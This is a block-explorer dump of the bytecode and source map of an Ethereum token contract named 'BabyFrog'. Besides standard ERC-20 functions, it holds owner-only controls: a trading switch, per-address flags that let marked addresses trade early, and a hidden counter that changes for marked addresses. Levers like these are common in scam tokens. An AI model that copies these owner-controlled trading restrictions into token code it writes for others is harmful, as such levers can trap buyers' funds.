f805f60608486031215611ae257611ae161188a565b5b5f611aef868287016118d4565b9350506020611b0086828701611ab7565b9250506040611b11868287016118d4565b9150509250925092565b611b24816118ad565b82525050565b5f602082019050611b3d5f830184611b1b565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680611b8757607f821691505b602082108103611b9a57611b99611b43565b5b50919050565b7f45524332303a207472616e73666572204261627946726f676520616d6f756e745f8201527f206578636565647320616c6c6f77616e63650000000000000000000000000000602082015250565b5f611bfa6032836117ea565b9150611c0582611ba0565b604082019050919050565b5f6020820190508181035f830152611c2781611bee565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611c65826118e8565b9150611c70836118e8565b9250828201905080821115611c8857611c87611c2e565b5b92915050565b7f4261627946726f67654f776e61626c653a202063616c6c6572206973206e6f745f8201527f20746865206f776e657200000000000000000000000000000000000000000000602082015250565b5f611ce8602a836117ea565b9150611cf382611c8e565b604082019050919050565b5f6020820190508181035f830152611d1581611cdc565b9050919050565b7f54726164696e6720616c7265616479204261627946726f676520656e61626c655f8201527f642e000000000000000000000000000000000000000000000000000000000000602082015250565b5f611d766022836117ea565b9150611d8182611d1c565b604082019050919050565b5f6020820190508181035f830152611da381611d6a565b9050919050565b7f45524332303a204261627946726f67652064656372656173656420616c6c6f775f8201527f616e63652062656c6f77207a65726f0000000000000000000000000000000000602082015250565b5f611e04602f836117ea565b9150611e0f82611daa565b604082019050919050565b5f6020820190508181035f830152611e3181611df8565b9050919050565b7f4f776e61626c653a206e6577206f776e6572206973204261627946726f6765205f8201527f746865207a65726f206164647265737300000000000000000000000000000000602082015250565b5f611e926030836117ea565b9150611e9d82611e38565b604082019050919050565b5f6020820190508181035f830152611ebf81611e86565b9050919050565b7f4261627946726f676545524332303a20617070726f76652066726f6d207468655f8201527f207a65726f206164647265737300000000000000000000000000000000000000602082015250565b5f611f20602d836117ea565b9150611f2b82611ec6565b604082019050919050565b5f6020820190508181035f830152611f4d81611f14565b9050919050565b7f45524332303a204261627946726f676520617070726f766520746f20746865205f8201527f7a65726f20616464726573730000000000000000000000000000000000000000602082015250565b5f611fae602c836117ea565b9150611fb982611f54565b604082019050919050565b5f6020820190508181035f830152611fdb81611fa2565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373204261627946726f67650000000000000000000000000000000000602082015250565b5f61203c602f836117ea565b915061204782611fe2565b604082019050919050565b5f6020820190508181035f83015261206981612030565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6120ca6023836117ea565b91506120d582612070565b604082019050919050565b5f6020820190508181035f8301526120f7816120be565b9050919050565b7f54726164696e67206e6f74204261627946726f67652079657420656e61626c655f8201527f6421000000000000000000000000000000000000000000000000000000000000602082015250565b5f6121586022836117ea565b9150612163826120fe565b604082019050919050565b5f6020820190508181035f8301526121858161214c565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6121e66025836117ea565b91506121f18261218c565b604082019050919050565b5f6020820190508181035f830152612213816121da565b9050919050565b7f4261627946726f67653a207472616e7366657220746f20746865207a65726f205f8201527f6164647265737300000000000000000000000000000000000000000000000000602082015250565b5f6122746027836117ea565b915061227f8261221a565b604082019050919050565b5f6020820190508181035f8301526122a181612268565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74204261627946726f67655f8201527f20657863656564732062616c616e636500000000000000000000000000000000602082015250565b5f6123026030836117ea565b915061230d826122a8565b604082019050919050565b5f6020820190508181035f83015261232f816122f6565b9050919050565b5f612340826118e8565b91505f820361235257612351611c2e565b5b60018203905091905056fea2646970667358221220d2ee9a5902ef6220b6528361db9fe24f52c672875e4f159a9d0ef5d3f509db7064736f6c63430008170033

Deployed Bytecode

0x60806040526004361061012d575f3560e01c8063641d601c116100aa5780638da5cb5b1161006e5780638da5cb5b1461041457806395d89b411461043e578063a457c2d714610468578063a9059cbb146104a4578063dd62ed3e146104e0578063f2fde38b1461051c57610134565b8063641d601c1461034857806370a0823114610370578063715018a6146103ac5780637ae34fec146103c25780638a8c523c146103fe57610134565b8063313ce567116100f1578063313ce5671461024057806337df28661461026a57806339509351146102a65780634ada218b146102e257806355b6ed5c1461030c57610134565b806306fdde0314610138578063095ea7b31461016257806318160ddd1461019e5780631ce9029d146101c857806323b872dd1461020457610134565b3661013457005b5f80fd5b348015610143575f80fd5b5061014c610544565b604051610159919061186a565b60405180910390f35b34801561016d575f80fd5b506101886004803603810190610183919061191b565b6105d4565b6040516101959190611973565b60405180910390f35b3480156101a9575f80fd5b506101b26105f1565b6040516101bf919061199b565b60405180910390f35b3480156101d3575f80fd5b506101ee60048036038101906101e991906119b4565b6105fa565b6040516101fb9190611973565b60405180910390f35b34801561020f575f80fd5b5061022a600480360381019061022591906119df565b61068e565b6040516102379190611973565b60405180910390f35b34801561024b575f80fd5b506102546107a8565b6040516102619190611a4a565b60405180910390f35b348015610275575f80fd5b50610290600480360381019061028b91906119b4565b6107b0565b60405161029d919061199b565b60405180910390f35b3480156102b1575f80fd5b506102cc60048036038101906102c7919061191b565b6107f6565b6040516102d99190611973565b60405180910390f35b3480156102ed575f80fd5b506102f661089d565b6040516103039190611973565b60405180910390f35b348015610317575f80fd5b50610332600480360381019061032d9190611a63565b6108af565b60405161033f9190611973565b60405180910390f35b348015610353575f80fd5b5061036e60048036038101906103699190611acb565b6108d9565b005b34801561037b575f80fd5b50610396600480360381019061039191906119b4565b610a44565b6040516103a3919061199b565b60405180910390f35b3480156103b7575f80fd5b506103c0610a89565b005b3480156103cd575f80fd5b506103e860048036038101906103e391906119b4565b610b10565b6040516103f59190611973565b60405180910390f35b348015610409575f80fd5b50610412610b62565b005b34801561041f575f80fd5b50610428610c49565b6040516104359190611b2a565b60405180910390f35b348015610449575f80fd5b50610452610c71565b60405161045f919061186a565b60405180910390f35b348015610473575f80fd5b5061048e6004803603810190610489919061191b565b610d01565b60405161049b9190611973565b60405180910390f35b3480156104af575f80fd5b506104ca60048036038101906104c5919061191b565b610de7565b6040516104d79190611973565b60405180910390f35b3480156104eb575f80fd5b5061050660048036038101906105019190611a63565b610e04565b604051610513919061199b565b60405180910390f35b348015610527575f80fd5b50610542600480360381019061053d91906119b4565b610e86565b005b60606002805461055390611b70565b80601f016020809104026020016040519081016040528092919081815260200182805461057f90611b70565b80156105ca5780601f106105a1576101008083540402835291602001916105ca565b820191905f5260205f20905b8154815290600101906020018083116105ad57829003601f168201915b5050505050905090565b5f6105e76105e0610f7c565b8484610f83565b6001905092915050565b5f600454905090565b5f60085f610606610c49565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b5f8060015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6106d6610f7c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610791578281101561077c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077390611c10565b60405180910390fd5b61079085610788610f7c565b858403610f83565b5b61079c858585611146565b60019150509392505050565b5f6012905090565b5f60075f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f610893610802610f7c565b848460015f61080f610f7c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461088e9190611c5b565b610f83565b6001905092915050565b60095f9054906101000a900460ff1681565b6008602052815f5260405f20602052805f5260405f205f915091509054906101000a900460ff1681565b6108e1610f7c565b73ffffffffffffffffffffffffffffffffffffffff166108ff610c49565b73ffffffffffffffffffffffffffffffffffffffff1614610955576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161094c90611cfe565b60405180910390fd5b8160065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508160085f6109b5610c49565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550505050565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610a91610f7c565b73ffffffffffffffffffffffffffffffffffffffff16610aaf610c49565b73ffffffffffffffffffffffffffffffffffffffff1614610b05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610afc90611cfe565b60405180910390fd5b610b0e5f61133a565b565b5f60065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b610b6a610f7c565b73ffffffffffffffffffffffffffffffffffffffff16610b88610c49565b73ffffffffffffffffffffffffffffffffffffffff1614610bde576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bd590611cfe565b60405180910390fd5b60095f9054906101000a900460ff1615610c2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2490611d8c565b60405180910390fd5b600160095f6101000a81548160ff021916908315150217905550565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060038054610c8090611b70565b80601f0160208091040260200160405190810160405280929190818152602001828054610cac90611b70565b8015610cf75780601f10610cce57610100808354040283529160200191610cf7565b820191905f5260205f20905b815481529060010190602001808311610cda57829003601f168201915b5050505050905090565b5f8060015f610d0e610f7c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015610dc8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dbf90611e1a565b60405180910390fd5b610ddc610dd3610f7c565b85858403610f83565b600191505092915050565b5f610dfa610df3610f7c565b8484611146565b6001905092915050565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610e8e610f7c565b73ffffffffffffffffffffffffffffffffffffffff16610eac610c49565b73ffffffffffffffffffffffffffffffffffffffff1614610f02576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef990611cfe565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610f70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6790611ea8565b60405180910390fd5b610f798161133a565b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610ff1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fe890611f36565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361105f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105690611fc4565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611139919061199b565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036111b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ab90612052565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611222576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611219906120e0565b60405180910390fd5b60095f9054906101000a900460ff1680611282575060065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b806112d3575060065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b611312576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113099061216e565b60405180910390fd5b5f81036113295761132483835f6113fd565b611335565b6113348383836113fd565b5b505050565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361146b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611462906121fc565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036114d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d09061228a565b60405180910390fd5b6114e4838383611672565b5f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015611567576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155e90612318565b60405180910390fd5b8181035f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550815f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546115f59190611c5b565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611659919061199b565b60405180910390a361166c8484846117d6565b50505050565b61167d8383836117db565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156116e557505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611779575060085f6116f7610c49565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b156117d15760075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8154809291906117cb90612336565b91905055505b505050565b505050565b505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156118175780820151818401526020810190506117fc565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61183c826117e0565b61184681856117ea565b93506118568185602086016117fa565b61185f81611822565b840191505092915050565b5f6020820190508181035f8301526118828184611832565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6118b78261188e565b9050919050565b6118c7816118ad565b81146118d1575f80fd5b50565b5f813590506118e2816118be565b92915050565b5f819050919050565b6118fa816118e8565b8114611904575f80fd5b50565b5f81359050611915816118f1565b92915050565b5f80604083850312156119315761193061188a565b5b5f61193e858286016118d4565b925050602061194f85828601611907565b9150509250929050565b5f8115159050919050565b61196d81611959565b82525050565b5f6020820190506119865f830184611964565b92915050565b611995816118e8565b82525050565b5f6020820190506119ae5f83018461198c565b92915050565b5f602082840312156119c9576119c861188a565b5b5f6119d6848285016118d4565b91505092915050565b5f805f606084860312156119f6576119f561188a565b5b5f611a03868287016118d4565b9350506020611a14868287016118d4565b9250506040611a2586828701611907565b9150509250925092565b5f60ff82169050919050565b611a4481611a2f565b82525050565b5f602082019050611a5d5f830184611a3b565b92915050565b5f8060408385031215611a7957611a7861188a565b5b5f611a86858286016118d4565b9250506020611a97858286016118d4565b9150509250929050565b611aaa81611959565b8114611ab4575f80fd5b50565b5f81359050611ac581611aa1565b92915050565b5f805f60608486031215611ae257611ae161188a565b5b5f611aef868287016118d4565b9350506020611b0086828701611ab7565b9250506040611b11868287016118d4565b9150509250925092565b611b24816118ad565b82525050565b5f602082019050611b3d5f830184611b1b565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680611b8757607f821691505b602082108103611b9a57611b99611b43565b5b50919050565b7f45524332303a207472616e73666572204261627946726f676520616d6f756e745f8201527f206578636565647320616c6c6f77616e63650000000000000000000000000000602082015250565b5f611bfa6032836117ea565b9150611c0582611ba0565b604082019050919050565b5f6020820190508181035f830152611c2781611bee565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611c65826118e8565b9150611c70836118e8565b9250828201905080821115611c8857611c87611c2e565b5b92915050565b7f4261627946726f67654f776e61626c653a202063616c6c6572206973206e6f745f8201527f20746865206f776e657200000000000000000000000000000000000000000000602082015250565b5f611ce8602a836117ea565b9150611cf382611c8e565b604082019050919050565b5f6020820190508181035f830152611d1581611cdc565b9050919050565b7f54726164696e6720616c7265616479204261627946726f676520656e61626c655f8201527f642e000000000000000000000000000000000000000000000000000000000000602082015250565b5f611d766022836117ea565b9150611d8182611d1c565b604082019050919050565b5f6020820190508181035f830152611da381611d6a565b9050919050565b7f45524332303a204261627946726f67652064656372656173656420616c6c6f775f8201527f616e63652062656c6f77207a65726f0000000000000000000000000000000000602082015250565b5f611e04602f836117ea565b9150611e0f82611daa565b604082019050919050565b5f6020820190508181035f830152611e3181611df8565b9050919050565b7f4f776e61626c653a206e6577206f776e6572206973204261627946726f6765205f8201527f746865207a65726f206164647265737300000000000000000000000000000000602082015250565b5f611e926030836117ea565b9150611e9d82611e38565b604082019050919050565b5f6020820190508181035f830152611ebf81611e86565b9050919050565b7f4261627946726f676545524332303a20617070726f76652066726f6d207468655f8201527f207a65726f206164647265737300000000000000000000000000000000000000602082015250565b5f611f20602d836117ea565b9150611f2b82611ec6565b604082019050919050565b5f6020820190508181035f830152611f4d81611f14565b9050919050565b7f45524332303a204261627946726f676520617070726f766520746f20746865205f8201527f7a65726f20616464726573730000000000000000000000000000000000000000602082015250565b5f611fae602c836117ea565b9150611fb982611f54565b604082019050919050565b5f6020820190508181035f830152611fdb81611fa2565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373204261627946726f67650000000000000000000000000000000000602082015250565b5f61203c602f836117ea565b915061204782611fe2565b604082019050919050565b5f6020820190508181035f83015261206981612030565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6120ca6023836117ea565b91506120d582612070565b604082019050919050565b5f6020820190508181035f8301526120f7816120be565b9050919050565b7f54726164696e67206e6f74204261627946726f67652079657420656e61626c655f8201527f6421000000000000000000000000000000000000000000000000000000000000602082015250565b5f6121586022836117ea565b9150612163826120fe565b604082019050919050565b5f6020820190508181035f8301526121858161214c565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6121e66025836117ea565b91506121f18261218c565b604082019050919050565b5f6020820190508181035f830152612213816121da565b9050919050565b7f4261627946726f67653a207472616e7366657220746f20746865207a65726f205f8201527f6164647265737300000000000000000000000000000000000000000000000000602082015250565b5f6122746027836117ea565b915061227f8261221a565b604082019050919050565b5f6020820190508181035f8301526122a181612268565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74204261627946726f67655f8201527f20657863656564732062616c616e636500000000000000000000000000000000602082015250565b5f6123026030836117ea565b915061230d826122a8565b604082019050919050565b5f6020820190508181035f83015261232f816122f6565b9050919050565b5f612340826118e8565b91505f820361235257612351611c2e565b5b60018203905091905056fea2646970667358221220d2ee9a5902ef6220b6528361db9fe24f52c672875e4f159a9d0ef5d3f509db7064736f6c63430008170033

Deployed Bytecode Sourcemap

7441:2176:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2653:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3567:169;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2974:108;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8438:123;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3744:583;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2873:93;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8315:115;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4335:215;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8867:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8242:64;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7842:246;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3090:127;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1755:94;;;;;;;;;;;;;:::i;:::-;;8096:132;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8902:156;;;;;;;;;;;;;:::i;:::-;;1522:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2761:104;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4558:423;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3225:175;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3408:151;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1857:202;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2653:100;2707:13;2740:5;2733:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2653:100;:::o;3567:169::-;3650:4;3667:39;3676:12;:10;:12::i;:::-;3690:7;3699:6;3667:8;:39::i;:::-;3724:4;3717:11;;3567:169;;;;:::o;2974:108::-;3035:7;3062:12;;3055:19;;2974:108;:::o;8438:123::-;8500:4;8524:10;:19;8535:7;:5;:7::i;:::-;8524:19;;;;;;;;;;;;;;;:29;8544:8;8524:29;;;;;;;;;;;;;;;;;;;;;;;;;8517:36;;8438:123;;;:::o;3744:583::-;3884:4;3901:24;3928:11;:19;3940:6;3928:19;;;;;;;;;;;;;;;:33;3948:12;:10;:12::i;:::-;3928:33;;;;;;;;;;;;;;;;3901:60;;3996:17;3976:16;:37;3972:275;;4058:6;4038:16;:26;;4030:89;;;;;;;;;;;;:::i;:::-;;;;;;;;;4163:57;4172:6;4180:12;:10;:12::i;:::-;4213:6;4194:16;:25;4163:8;:57::i;:::-;3972:275;4259:36;4269:6;4277:9;4288:6;4259:9;:36::i;:::-;4315:4;4308:11;;;3744:583;;;;;:::o;2873:93::-;2931:5;2956:2;2949:9;;2873:93;:::o;8315:115::-;8375:7;8402:10;:20;8413:8;8402:20;;;;;;;;;;;;;;;;8395:27;;8315:115;;;:::o;4335:215::-;4423:4;4440:80;4449:12;:10;:12::i;:::-;4463:7;4509:10;4472:11;:25;4484:12;:10;:12::i;:::-;4472:25;;;;;;;;;;;;;;;:34;4498:7;4472:34;;;;;;;;;;;;;;;;:47;;;;:::i;:::-;4440:8;:80::i;:::-;4538:4;4531:11;;4335:215;;;;:::o;8867:26::-;;;;;;;;;;;;;:::o;8242:64::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;7842:246::-;1668:12;:10;:12::i;:::-;1657:23;;:7;:5;:7::i;:::-;:23;;;1649:78;;;;;;;;;;;;:::i;:::-;;;;;;;;;8010:8:::1;7954:25;:34;7980:7;7954:34;;;;;;;;;;;;;;;;:64;;;;;;;;;;;;;;;;;;8072:8;8030:10;:19;8041:7;:5;:7::i;:::-;8030:19;;;;;;;;;;;;;;;:29;8050:8;8030:29;;;;;;;;;;;;;;;;:50;;;;;;;;;;;;;;;;;;7842:246:::0;;;:::o;3090:127::-;3164:7;3191:9;:18;3201:7;3191:18;;;;;;;;;;;;;;;;3184:25;;3090:127;;;:::o;1755:94::-;1668:12;:10;:12::i;:::-;1657:23;;:7;:5;:7::i;:::-;:23;;;1649:78;;;;;;;;;;;;:::i;:::-;;;;;;;;;1820:21:::1;1838:1;1820:9;:21::i;:::-;1755:94::o:0;8096:132::-;8162:4;8186:25;:34;8212:7;8186:34;;;;;;;;;;;;;;;;;;;;;;;;;8179:41;;8096:132;;;:::o;8902:156::-;1668:12;:10;:12::i;:::-;1657:23;;:7;:5;:7::i;:::-;:23;;;1649:78;;;;;;;;;;;;:::i;:::-;;;;;;;;;8965:14:::1;;;;;;;;;;;8964:15;8956:62;;;;;;;;;;;;:::i;:::-;;;;;;;;;9046:4;9029:14;;:21;;;;;;;;;;;;;;;;;;8902:156::o:0;1522:87::-;1568:7;1595:6;;;;;;;;;;;1588:13;;1522:87;:::o;2761:104::-;2817:13;2850:7;2843:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2761:104;:::o;4558:423::-;4651:4;4668:24;4695:11;:25;4707:12;:10;:12::i;:::-;4695:25;;;;;;;;;;;;;;;:34;4721:7;4695:34;;;;;;;;;;;;;;;;4668:61;;4768:15;4748:16;:35;;4740:95;;;;;;;;;;;;:::i;:::-;;;;;;;;;4871:67;4880:12;:10;:12::i;:::-;4894:7;4922:15;4903:16;:34;4871:8;:67::i;:::-;4969:4;4962:11;;;4558:423;;;;:::o;3225:175::-;3311:4;3328:42;3338:12;:10;:12::i;:::-;3352:9;3363:6;3328:9;:42::i;:::-;3388:4;3381:11;;3225:175;;;;:::o;3408:151::-;3497:7;3524:11;:18;3536:5;3524:18;;;;;;;;;;;;;;;:27;3543:7;3524:27;;;;;;;;;;;;;;;;3517:34;;3408:151;;;;:::o;1857:202::-;1668:12;:10;:12::i;:::-;1657:23;;:7;:5;:7::i;:::-;:23;;;1649:78;;;;;;;;;;;;:::i;:::-;;;;;;;;;1966:1:::1;1946:22;;:8;:22;;::::0;1938:83:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;2032:19;2042:8;2032:9;:19::i;:::-;1857:202:::0;:::o;1076:98::-;1129:7;1156:10;1149:17;;1076:98;:::o;6770:399::-;6923:1;6906:19;;:5;:19;;;6898:77;;;;;;;;;;;;:::i;:::-;;;;;;;;;7013:1;6994:21;;:7;:21;;;6986:78;;;;;;;;;;;;:::i;:::-;;;;;;;;;7107:6;7077:11;:18;7089:5;7077:18;;;;;;;;;;;;;;;:27;7096:7;7077:27;;;;;;;;;;;;;;;:36;;;;7145:7;7129:32;;7138:5;7129:32;;;7154:6;7129:32;;;;;;:::i;:::-;;;;;;;;6770:399;;;:::o;9066:548::-;9179:1;9163:18;;:4;:18;;;9155:78;;;;;;;;;;;;:::i;:::-;;;;;;;;;9266:1;9252:16;;:2;:16;;;9244:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;9327:14;;;;;;;;;;;:49;;;;9345:25;:31;9371:4;9345:31;;;;;;;;;;;;;;;;;;;;;;;;;9327:49;:82;;;;9380:25;:29;9406:2;9380:29;;;;;;;;;;;;;;;;;;;;;;;;;9327:82;9319:129;;;;;;;;;;;;:::i;:::-;;;;;;;;;9482:1;9472:6;:11;9468:93;;9500:28;9516:4;9522:2;9526:1;9500:15;:28::i;:::-;9543:7;;9468:93;9573:33;9589:4;9595:2;9599:6;9573:15;:33::i;:::-;9066:548;;;;:::o;2067:173::-;2123:16;2142:6;;;;;;;;;;;2123:25;;2168:8;2159:6;;:17;;;;;;;;;;;;;;;;;;2223:8;2192:40;;2213:8;2192:40;;;;;;;;;;;;2112:128;2067:173;:::o;4989:747::-;5147:1;5129:20;;:6;:20;;;5121:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;5231:1;5210:23;;:9;:23;;;5202:75;;;;;;;;;;;;:::i;:::-;;;;;;;;;5290:47;5311